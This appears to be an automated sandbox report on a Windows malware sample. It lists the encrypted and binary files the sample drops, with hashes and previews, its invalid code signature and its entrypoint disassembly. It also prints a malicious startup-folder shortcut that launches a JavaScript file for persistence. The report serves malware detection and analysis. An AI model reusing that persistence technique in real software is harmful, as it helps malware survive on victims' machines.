Preview:	.A_..C........\|...R....]^..H..g.,.....H.....C1.C.D.+...K.v.......B..z...!0.O...._./..ex...Ib.'...nR,{....... ...,..8..cj.SD...0..9.t..87.....9OF.v}z.@.L9?...9...T'......n...A......-....ik\|g.b..;[Ki.O...U7..q.....an.U_..Y....u..f.;.p.Y....<`7J.\.n.'8....$.+../f),1....RV..zn.'._$....Jpvg.......(V..I..U.....e.k....R0.. 3@.n...vu....R\.C.t.'^.G.+..0.L.)..b}v...b..u.n.>....w. z...M.u....5..$....~.Bc3..&..-...J..T3g..2.&.=..g...{...eH...F..?.......b....C..".<_......~7..{^....J..X7...c.....N..@.).,....}......0..."S.6.......q.D..).......)....Ur..J.M......:o....M[T'........O.B`......Q.h9.{.y_i...}.z.M.. .).9.Ia~...Y...[..n..d..._.z..S%..9..l...M2...U.(.??..y.............D`.5<{].....0'...I~TOiV.:.xb..\|...S.`...Q.wC....,..d..!7...U<.7;...?.0...k.I......Ap.N....s.9}.......a.....5..+"..J<^y=QWA....>JP.n...N..&....'...4=.f..+^W../.j#T>...>.d...V...>C.&....... .+.3.'A...)\>@4o.c....A.z>.$..r.Q....K(...{.....@...^....h..Q.?N1[.....6....S..h..c..V.I?....b&..

C:\Users\user\AppData\Local\Temp\Loops

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	7.996743277226256
Encrypted:	true
SSDEEP:	1536:eQ2Bl1h0EETOfae6Y40x6YHu3a+vqX88xB:efzw4qJYoC88xB
MD5:	5055EE8CB0DA98C3C39E96C4A4088C0D
SHA1:	60C6BA91201B7813F674F955CC51AE684A51838F
SHA-256:	221C670740C26CAC8EEFA85DDB50D9314935B5CB63C857F520EC18053C53DD31
SHA-512:	D73A72BFA3170D435543F8D23794CF674A5D0475701098B756362EBFECF8DC840B1782311B21FBA48E398B61B8D8E2C2E3CA1E8E4FA958C83FB319A56806FCEC
Malicious:	false
Preview:	...\.,...V.......T...4......p.K.2lV.ss..sF.D.Els...v....cI..`..2..m.....,'...G..J.fs....O...............D..s..'$...2C.d.Il:uq.../s.u.\|.P.$.we......G..?..d7.....u.R@.^u..\.T.b&....{Z~...=.$...<q....$.O...;..R44y/......wX..U.&...0.fG.Sz.T...n.g.p.~.(^".\|.Xrt..M,0............6..Js-..7....H..o.A..s3&...`......Fa.!..z.K\|.eJ....L.##_...tlC.%^.f.3b.lK.<..~.:c-..0.I3.y..P.{C.4.NyU..L/a.eq9..\/.4."....Sb.Y3...\'s...JT.c.i.......zoeG..B&p8.}.jP...M..b.$..k.y;..EV....{....$=.EQ+....dW....rD.y/.....g..t.=..9.....l'.".\|fP..E.\|....._.q!b.....G.#cJ..L..q..[..........w.....Q=Xi.^.R..Q........{.;T_.d...&q..$~8.p..{1x.?.O@..DC..S.sQ.....=.U:.....\.....%...)g....z..INs...e.CZ.....Hm.@?8.v....Wa. ..N.9Q. i.].e.......R..w...F.s.N..W.x......w..5p.`...1}Sa[}QL....o.(...g..T=...%.Q_.c.\|L4..T..8..!l...Z.Hw.]f..7.j/..A2.\....B........r.o8O..Q..1..3.....&......3.....$.V....iJ.........P[.,..F...Z....6.Y..-f,..\.W..)0.V..n...D~&...q@E<.$M.J...O..%

C:\Users\user\AppData\Local\Temp\Marie

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	91384
Entropy (8bit):	7.998111616463107
Encrypted:	true
SSDEEP:	1536:ymd7XKNgmUd//3s7yYTe5h0GG09Q0XKI1fxGvM3PI6fsfzlwpTgY+IhhyBgKoPVz:lqgmUF/cmiefHXKItkmPfsfzWpU6qgdF
MD5:	C71881C4532C63EFFD02808F037DE211
SHA1:	097283DC3BF33937A2BDB348791070E24E132525
SHA-256:	9175D28F49BF4CDD5F91FEF049387C8B2D1D4F90F528F75CAC67731F0E6E4A77
SHA-512:	A4EF200E4EA6D119DFAE7C163629B5FFC72364AE4CB2546665A93D00B37F27206903FCA87CE4467648C8EA010AB0249D5197A10D17528E33C33CA91CCD827970
Malicious:	false
Preview:	..-.4......Y$..-...Z3. .@.....WHn...B............_.QmDK9N...b.PK.>.......3zH.B.so.e..G.`.#......T!G...X\...L......x\|8E].p.e{...].i?...f.....Q..{M{.P......a0.U..-..H+A.:.D..76(..X...K.$`.f.......O...nj..)Y...(....g..tZ.0...2.,..-..........p...HK..x_.K......k.&.k.s).E2-..5.`....A7...TN.........V..."..q.^:@w....B<.L>.1V.0.....\|2T..........w8r.oX..{1..nS.'...m.Po?q..iv. b......&.p...?......$....R..~..U...TtO."...Or.e.'iW^.9.I....H.r].....T.8Q.pu..t....9..\|9...~.v...:.p...w.....I]:7.V.+..0...Uc..t........q......W;\z.]g..KX.......=,U........{....D.O...1;.^...v.]..L.Z..(... ....V.. ......f;8..H...E.....G.......h.ob_^..u.X.....y.t.\y..,M.M..3N.!9....@.}.\w..K.v.:..O.f...?.g..~.Wk..s6.......1b....@..W.i.Y.s.....\|8S..d..24.-R....xr2..\|....8B4_..<D.......<n.&g.j[.G..2..~V;^iW5f.D..._0.....H...o.....1....r......o..g.[.n.....H\|.;.r ...c5V..T .=4.M.....@.x.0.....(?.2...C\..+..a.`.....p.U....t.....8.....E..6J.X.x+Rtg[.xp..@C...S.I.V.3...i...{!..9

C:\Users\user\AppData\Local\Temp\Nearby

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	125952
Entropy (8bit):	5.536176418145287
Encrypted:	false
SSDEEP:	768:FKPDvFQC7Vkr5M4INduPbOU7aI4kCD9vmPukxhSaAwuXc/mex/SGKAGWRqA60dTd:F8QuklMBNIimuzaAwusPdKaj6iTcPAs4
MD5:	559D4F0DEA25FE10E552C77F2E1B716C
SHA1:	9A67E889666472700D71E783F8E85794D3A9945D
SHA-256:	656587B8CA8C26785B3B59059DC1E3373A1A9BF2B6E253EA8A04C5263E7511C1
SHA-512:	859A4B6EF35F5535C8A0F9B3A26E715668FDD626B953DA3A6E0044DBD1012B23EF420CF204C3812710B96EC216C444A269929953ABCF9A2C883BA06F239A6C3E
Malicious:	false
Preview:	..<(...`.<...77...b. ..<ON..}..'.+..q<.........X4m.<d.]{f.......\|'.<\%>..U...Zsn.i.<..yUk....3.w..<..Z.......-.f$.<..O..3.........<F^..v....._...t<..K........0.ns<.R......Y....<K.W..g..h..l,kg<i... ......6.p.<{..J-.....=...t<.....X......PZ.<.2.......J.s..<^.{3.....:`..t<.?...P..&I..'o.<........ .A..<'Za.......1.d.<@En[vP....M;.w<..............?.......?.......?.......?.......?.......?.......?.......?.......?.......?.......?.......?.....B.?.....B.?.......?.......?.....r.?.....r.?.......?.......?.......?.......?.....N.?.....N.?.......?.......?.......?.......?.....B.?.....B.?.......?.......?.......?.......?.....H.?.....H.?.......?.......?.......?.......?.....b.?.....b.?.......?.......?.......?.......?.......?.......?.....F.?.....F.?.......?.......?.......?.......?.......?.......?.....B.?.....B.?.......?.......?.......?.......?.......?.......?.....V.?.....V.?.......?.......?.......?.......?.......?.......?.....z.?.....z.?.....F.?.....F.?.......?.......?.......?.......?......

C:\Users\user\AppData\Local\Temp\Prime

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	6.681948730926329
Encrypted:	false
SSDEEP:	1536:f/UXT6TvY464qvI932eOypvcLSDOSpZ+Sh+I+FrbCyI7P4Cp:fgF4qv+32eOyKODOSpQSAU4Cp
MD5:	48D977581D70B4D8EB274100C5C7AB0B
SHA1:	8E007EE20BB4E9154F65516DAD309D773054CD3D
SHA-256:	CD4A445BDEBD3B5CF3425306F0DB7FC8F88FC09116FA725101AFE66B9C3E3B53
SHA-512:	3B97B910D03ACC43823B1D959F06054A96F97561FE0FCBA0900ED2D998D928CA64A8EDBD04078D438A11B9195EBDAEB6711ABBC140EB66187B37B5596875F2F0
Malicious:	false
Preview:	..F.P.v8..H....v4.+....M..._^3.[.......].....U..QQSV..W.~<.uV.F8..~O.^43...t^3.f.E..F.P...p..E.SP.........E...~..N.Q.u...H....}....].G;~8u....N.....v..F.P.v8..H....v4. ..._^..[..].....U..QQSV..W.~<.uV.F8..~O.^43...t^3.f.E..F.P...p..E.SP.j.......E...~..N.Q.u...H....2....].G;~8u....N.....v..F.P.v8..H....v4."..._^..[..].....U..QQS....@......t....x..u..M..E....[.E.V.u.W.}...E....&..M.;.t2.E.P.....P......E..8.u..>u.Pj?........E.G;}.u.M..>.u...t..._^[..].....U..QQS....@......t....x..u..M..E....^.E.V.u.W.}....&...G.M..E.;.t4.E.P.....P......E..8.u..>u.Pj?........E....;}.u.M..>.u...t..._^[..].....U..QQS.]...W.E....#....M..z.9z.u..z..t..M..E....Q.E.....L+z..E.;.r...V.4?V.u..2......M.......0..^.x....x...E.t..M.....;}.t.......8.M..;.u...t..._[..].....U...,.E..U..M..E..E..E..E..E.E..M.U..E..u..Df.........L..........t.E..E.E..E.E.E.E.E..E..E.E.PR.!...YY..]..U...,.E..U..M..E..E..E..E..E.E..M.U..E..u...e...................t.E..E.E..E.E.E.E.E..E..E.E.PR....YY..]..U...u

C:\Users\user\AppData\Local\Temp\Rice

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.998206684154131
Encrypted:	true
SSDEEP:	1536:zQ6z2OYzCfk/VR8C1LTvuVriB43WcakZHJpbNQL5OuUzBzj4RrULF8lXgA:EkYzUs8C9vucB4Gcakrx+L5OtMULkgA
MD5:	BDC13282C79460C2BA1E0EF20F4E5E81
SHA1:	CF8AFB3ED54647E5C40E255E10D25B2995D48EED
SHA-256:	599E91B463FAAA46F894FDF81F2835BD78317573EB0D68F43A152187FB6E0D4C
SHA-512:	9E54618E9C966B3B6083807C7A3EF524141D5890C00C9E779EEF2B632921BB9F7258B91DB6854CAE0B373637A1989DFE85DA98CA680055E1359BC31BE00133CD
Malicious:	false
Preview:	..S..Z.....)F .r.^.o..QW...r.@..Gt...G...a...gbv.....~......$.E..c.....k...P7Q.A.T......k.E....q..wZ.........Sn...X.!....u...........;g[%.Uj..R..K.Zf!yL.H5.o....?.....X}:......:..d..U ..>..(&.5.......z......D..\8.....<..B.3....&N.I..z...$...c......b.....q=kvL...ZS.Zs..j......G.....t%......fiRs!.........(.;!..>..yI....(D....T_A.e5 v/.._.X.?:)`......-......r....8D.pU.. `.=<..T.a....S...CB...P.v.{;...o.<.h2]./.# .........p._*.RU"..h.=3....B.....;DL.{LGI.U.,....e:[."a0i.U....`.#bOy. ....&8.n........yk......1]..8W....s$q.5#.....N6.N..~..o..2..p'.~r.,...Z0^...O.....4.gS-.k......z:...\|..U..........g{Zs3T@..'.......u....}!.:. ..W3x{.....SB.C>~<..^.{ .jwD..vA..0.....p...[.z...$."<"5..6._.Zx.KhX...)..3{.L.M..=....?f...N...9..>u.'{.@p.......1..iS89>.tw.t..r\|...wW...8...[=.N.,.\.K{.,......\.+..u......<.X3?.5.h!..@.f:......2...l6a.0..j.nGW72r".....2..1....?`,U.c@...7....k..(g.Q6.m_.).[.....xl.o..t=9.g._.%o.V..j.Q.(8.#y.wZ.....U7.i.F.../......(....

C:\Users\user\AppData\Local\Temp\Selection

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.271128694234634
Encrypted:	false
SSDEEP:	3072:N5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8QLeAg0FuzW:N5bLezWWt/Dd314V14ZgP0JaAOzW
MD5:	8645EE059F7491C27B56F84F572A1AED
SHA1:	BEE65D077ACB41BDE50E37DBDE02B1B5841FD7B2
SHA-256:	B1A0D20F4CE8BAE90D73CF0DE11591223E6AA6A147A38FEDBB726F43DE03B319
SHA-512:	9B12C47E13467AD25B0F88CF6B4546232C48E5178B9DCC59CB909DA03338D44C5B92EF64FCC0C98E28908B74E4BF5E299B67B7CA66BC35CFA2639352929167A1
Malicious:	false
Preview:	1.L$ ....\|$..D$ PW...7....u.W....B...L$ ....8.L$......t..k....\|$...PW.%>........t$..\|$...W..8....L$..O....._^[..]...U....V.u...WV.E.....3.G..tw....}.S.^..E..E....r..F..H.......E....r..F..H.......E....r..F..H.......E......[r..N..q........F...........t'...t....t..u........&..~._3.^....j._..3..u..u..u..u.......W.' .........`.....U......<.d$,..d$4.SVW3...F.L$(.t$D......]....:....#...s..u.V......u1...H..\|9...D9.t..@8.@......\|9...D9.t..@8.@.......h..I..L$<.Ii.....D$8..P.8w...~..r.F..p........N....D$..A..D$..A..D$ .A..L$..D$$.......t$..t$.....I.......hP.L..t$..I..Y.L$.;.uS..t..T$..P.L.+.......0f;.\$..]..t$..t$.u.......u.3...u..6..P.I..d.D$.f9D$......@..hp.L..GI..Y.L$.;.u\..t..T$..p.L.+.......0f;.\$..]..t$..t$.u!......u.3...u$.6..L.I........z....D$.f9D$......@..h..L...H..Y.L$.;.uM..t..T$....L.+...4....f;.t$..t$..\$..].u.......u.3...u.j.._.D$.f9D$......@..h..L..xH..Y.L$.;.uT..t/.T$....L.+.T$...0.....t$.f;.t$.u .T$.......u.3...u.j....I*.......f;T$......@....L..L$.....

C:\Users\user\AppData\Local\Temp\Shore

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.9977036402420225
Encrypted:	true
SSDEEP:	1536:aBBviVJPmTXw7f/zIyTnWPd++uRE7/bUZ78bHgWmIZ/ixHWGA/EmZUcuoYE7Z/FZ:MBuxswbsy7WPNbQYgbfp1A/ZZNRYkhFZ
MD5:	55295B4FA65ECDF193B67F66EC43B2D2
SHA1:	4DC8234A65BB0BD4B53050916479FE46937347D4
SHA-256:	096FB31FBADB5B88A84667C8B697AB4CD879056AF190F7B7F6A61AC1C319FAB2
SHA-512:	27D93F91351216E6D41756303F7E894FFE50561A544278C7A13FD5E033FCB0EDC79657B346BFBB7FE6D25C754E2B5C0CCC6B462167BE478C6675D30CB7C88C8D
Malicious:	false
Preview:	E.....;..!...v..<f..$.A.........z.}..i.2n.r.u.>...E...e..UC...C{eo3D..K[.wy....@5R.N.....I...g:.$`.u...Q.......~..A.. .F.!Y;f.`>..E.mQ.q\|[.UR....]...L}......T5`..i..,.W.sy.q..I..(.2...\|x.....?el..."..q.p...);.w@.c.../.f....=G.......!.}...&...y.....f....@f........>.f. .\|o'M...i.l...K.^\|C.[.]..G...S..Z.x.B>Ho..+XA....Q.#...d..n.2....R"...6..l..z....^./.y..P..k.V..........:r.].)...I......72...j....+nE...a.%..X..F.G.$j.6...@w...M......C.Uf.=..k\|.}1O....w.0..u..._9f.E^.+.x.FT....YS].A......"d......O.fq.&..,....%W<..:e...u...:...ll.p./...<L...b.....L!.^`...$>....@f......<...].....D.I.f.O.....j..G.p.......I'....F-&<..?N..W.=K`y.".:lYs..._...!!...xF..c.......%?6.x..Z.......k.q.i..%.b....eF.....M....;6..M..^..a...6n.......u...@.^.....XJ...3T...E.W=0.z.NM.n.<}.(.s..8[..sS......M.M...pe._T&..!.....W./. .......T......../.qvy...K..]".}....;.....t..>4<.k=.QV*....p..6+..G,.$W.t.T.-O.#..+......^./..Y..:.o.Td'......S.......f.d.6]x.A...-.Q; a...

C:\Users\user\AppData\Local\Temp\Sign

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997293656107534
Encrypted:	true
SSDEEP:	1536:nlHJcu111hHwerW8RUC/hD8GzrTRgRAQmqmIWbruRjzbeVKIGFWSU2MNmd:lpcw1hNqWD9kAQoIWbrQDeVKIlSVM6
MD5:	0306260A6BC38AA5DBD8948E5440BF61
SHA1:	7BAF4CEC13E1FBB2298252381B11D5526EFD27B6
SHA-256:	481AB5460A952BC0B5016D38584BB37E9DF49AC8B565B1B9FF58E6F9E479362D
SHA-512:	8D8705D33090717B0C22D28432D71AD384D6157BD6BD91C2F0B130E0FF99B360F6EAF60C61941B76854ECB5040CF369DE85D07F6D61557C396A03818D1332991
Malicious:	false
Preview:	.g5..k..K.2F.}.f.......:..y^~oNS.S.Q9.).."..r.h..N.\|...;..J...On..&..fHKx...c#.\U.J.........y{........c....?..I.,w.D:..w.q...&,A..3F.....Zd.....>=......d..@...;%....E.>-......:..E..6....`.t.....g..-ga......PV.."....?.`......~n.,ZA6..Z9......;.TZ>4.b..CLS..p^D#..'+..#w=...b.....u.....P.Prk38.J.],...D).Z..?...q.O.9.......bW$....{.n+..0\|yex.z.Tq.dk......-..@<.(...1.SN..%l..Z.y......dc.I.^Y...VMb.;....?\.......5.Dk3.1V.d.....n#.<.K_l^......Y...\uL..!.G-...M....\|#..QQ[...\|...3.y.)Q....P.. G......l..>v....IL.@.}..E.$.fP......~..6.....NJ...v..A.S.Xo....[Hp..1t.S.4..E7#...B...K......i.5.v..\`..........9.]D^.o..$xV....R;........g.1@<JE.V\..R...s\|../../.u.....l...'....5.. ."..>.EY....3G...q...>=..+T..Q,..........CS.J=m`.J.d...w lU..OT!+.........7...$G...!.*`M.p....W.{R..........<....o..i......6f.=..9.X..70./..r8f..I.Q..V.&....._#..3%2.u(\|_...i...=.K.n....\|lrr....dFcH.......".i\....x8.VR..G.\|.;i.E.d....t...%.....8....=.....p=.0o.B..u.-....Yc..

C:\Users\user\AppData\Local\Temp\Tables

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	6.332052519965856
Encrypted:	false
SSDEEP:	1536:c1/AD1EsdzVXnP94SGGLpRB6M28eFvMVpYhWoXElJUzdlDfFgQa8BpDzdZPp7HM:cZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/y
MD5:	40F119370AF8F62616FCB5D6FD9CB7B5
SHA1:	33C64EC1DFFAA51741721A353E05F4B27723DEA0
SHA-256:	556FE900A4FC1B0EBDF401D9743C2E74C0AC165B0361C5EF16B597E74EF8111F
SHA-512:	40E9246B536E07740BC0ECA56E6774028A679D08163AE9A4FFA03D1321296AC593E8FF9D6E2A30DF47C74779359FCEC914AD12E9567F463AA1761E445F0909B8
Malicious:	false
Preview:	.hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.........................................................................................................................................................................................................................................................................................................t.M.....hi'D......Y.hs'D......Y..r...hx'D......Y..\|X..h}'D......Y.Q.I...h.'D.....Y.0$M.Q.@..0$M.P.=B..h.'D.....Y...C..h.'D.....Y.....h.'D..}...Y..+O..h.'D..l...Y..!...h.'D..[...Y.45M....h.

C:\Users\user\AppData\Local\Temp\Veterans

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	6.564032174584603
Encrypted:	false
SSDEEP:	1536:L+tKA3QkvyNf7Xw2U0pkzUWBh2zGc/xv5mjKu2IwNnPEBiqXv++:rA3laW2UDQWf05mjccBiqXv1
MD5:	9CA2B08CAE1EA5EBDCB5A4883D863C3E
SHA1:	0DD9890ED8BD7CE9BD577D8F9A3DB528ABA1088A
SHA-256:	E755FBD1474CCB45AA18C0A97EEF322C71BCD6714DFB4D030D5A55B7FA9C3C30
SHA-512:	C3193A8634F8CA91E136CF4B4C094F82F2342134FC4DEAB6B5CCE4CA6F154442A1EF9CC27ADB7F8782867B42CDD209DBE3DD76E6FE507ACB785FE805FDB57DBE
Malicious:	false
Preview:	..M.......M...J.....M...H.....M.........M.........M.........M.....f....M.......M...J.....M..A.....M.........M.........M.........M.....f....M.......M...J.....M..H.....M.........M.........M.........M.....f....M.......M.(.J...$.M..H...(.M.......,.M.......0.M.......4.M.....f..8.M.....<.M...J...H.M..H...L.M.......P.M.......T.M.......X.M.....f..\.M.....`.M...J...l.M.W.H...p.M.......t.M.......x.M.......\|.M.....f....M.......M.d.J.....M...H.....M.........M.........M.........M.....f....M.......M...I.....M.k.I.....M.........M.........M.........M.....f....M.......M...J.....M.X.H.....M.........M.........M.........M.....f....M.......M.h.I.....M...H.....M.........M.........M.........M.....f....M.......M...I... .M...H...$.M.......(.M.......,.M.......0.M.....f..4.M.....8.M...I...D.M..H...H.M.......L.M.......P.M.......T.M.....f..X.M.....\.M.0.J...h.M.9.H...l.M.......p.M.......t.M.......x.M.....f..\|.M.......M. .J.....M.o.A.....M.........M.........M.........M.....f....M.......M...J.....M.P.A.....M...

C:\Users\user\AppData\Local\Temp\Wichita

Process:	C:\Users\user\Desktop\nikDoCvpJa.exe
File Type:	data
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	7.9975158081302915
Encrypted:	true
SSDEEP:	1536:TE64WBH+PmX7t9z9wcsjuYV88nHyQwjCnBcrLTqMV81Q+CgQ2hl5:Ao9RuuM3HyQmCBcrPqMsld
MD5:	39BD7CDDA87195136F91ECC649988A42
SHA1:	4E1E70CDF5254D59823AAA0955C518F9A38929C7
SHA-256:	F2AEE101CECB321C781E68964E3FB1B2172B2F7494ED040C659988E989264A21
SHA-512:	309FFA953E5CA568989BFA176F797B295C0CDC22C7876861A7F3800CFE7E76EDFF77C49456C39914CD343A3894EE52E39400FE90E8BCC1EDC1845728A12DCAC1
Malicious:	false
Preview:	j..Ix..+.A.vs.e.;.U.A...T.b.T.4(.h<.~..X?/C.s..Y8Z.E.(@.=$ep........S.............Rj.?..@..X6......./-Im..b........0..O.<...[......"=.;(L..`.>..zk........6.]T.......e^..\|.S.N....0Y...../"b..........F.x.....a.Bs.N.p...iC.a..aU.Q.&..E#L.-.U....G..F..@x.J[..8g.5...uj;.M...Q...N....P...f..>..V .m..h....'.N.R.....c26..r..QC.......U.V..+^.z://..9<.t7...w...,.D.q..T...G..s.m."0..}...._.(.?02.5.......,,.e....{Uiy...K/..e...`.......!.d~Fna../....nv.....H.%R,w:-..[wH...H......C...Tg.K>....>+..&...hd.ud....<.x..S.....E.j=..v...m..-..k.9...}!.\.`@..YK.AwVJ..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....5.<.'.F...h.............mQ..a^..mQ..a^..kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CyberScope.url

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.8279063251453795
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoUkh4E2J52A3TdecwIEAMqLI/y:HRYF5yjo9232A4c9p1I/y
MD5:	0FF464ECD7422406613DA16C9CD4BC6E
SHA1:	69D0BCE415641B7D35322459FC14F7C2E740DFB8
SHA-256:	473D04B3C9C5611772F417A2BD524A9A31B0D87C6119F1337EAD71B3B14FCCC0
SHA-512:	3DD9CB822CA5846D158FCC0BFA60A587C2B1E068C99809C43F633C1F96A60CF2112639CF30B8D22FBC3CF57B75F167F3C3B3A74C885C1B12053F68E5D73A6AAC
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\SecureScope Dynamics\CyberScope.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.984134223214029
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	nikDoCvpJa.exe
File size:	1'798'791 bytes
MD5:	d2729f574a3ba69a10c00a5992986226
SHA1:	827b50066bf4509c1f293f2e2170b86070f3bcd6
SHA256:	2027658fe07e8ef66d192bf1697cf0d9e91f9813ded69da4408747fb3724b3ec
SHA512:	7bc28a41cc7c61dfc1eb205d7b46da0c9453ce7424fe8eceade72fb5429ac08f72b67b77bdc72df3aaac755bb037808f7714a5334c9e5c541d55fead4df279ca
SSDEEP:	49152:f4yTKXSSgG7DpdzSzn2Y2+TITsGWgECdytvV9iSkbwrsK+ZTF4ShJtO:AyeSSgG7Dpdzm2YusGW/CqvV94w02iHO
TLSH:	328533D57AF3802BD8990EBA14F0114BC5B664F8383DEF5F97114BD8F119F118BA8A4A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	31f0e8d490f0e071

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign CodeSigning CA - SHA256 - G2, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	10/11/2015 15:32:11 24/12/2017 12:20:40
Subject Chain	E=support@implbits.com, CN="Implbits Software, LLC", O="Implbits Software, LLC", L=Lindon, S=Utah, C=US
Version:	3
Thumbprint MD5:	3F04BAC702761698B870D1B5952D2C85
Thumbprint SHA-1:	52AA9079B68E00C5C3C1D8CA7C6C363D0037A59E
Thumbprint SHA-256:	D35F904A15D0AD8079CFF4F54FFD3425CAE695F6988F9EDD8964A837785D0B47
Serial:	1121534C85F8E4ED8E6A978D0356BA881964

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F77F50B7CDBh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F77F50B79BDh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F77F50B79ABh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F77F50B52AAh
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F77F50B7681h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F77F50B5333h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F77F50B52AAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x811a2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1b5797	0x1af0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
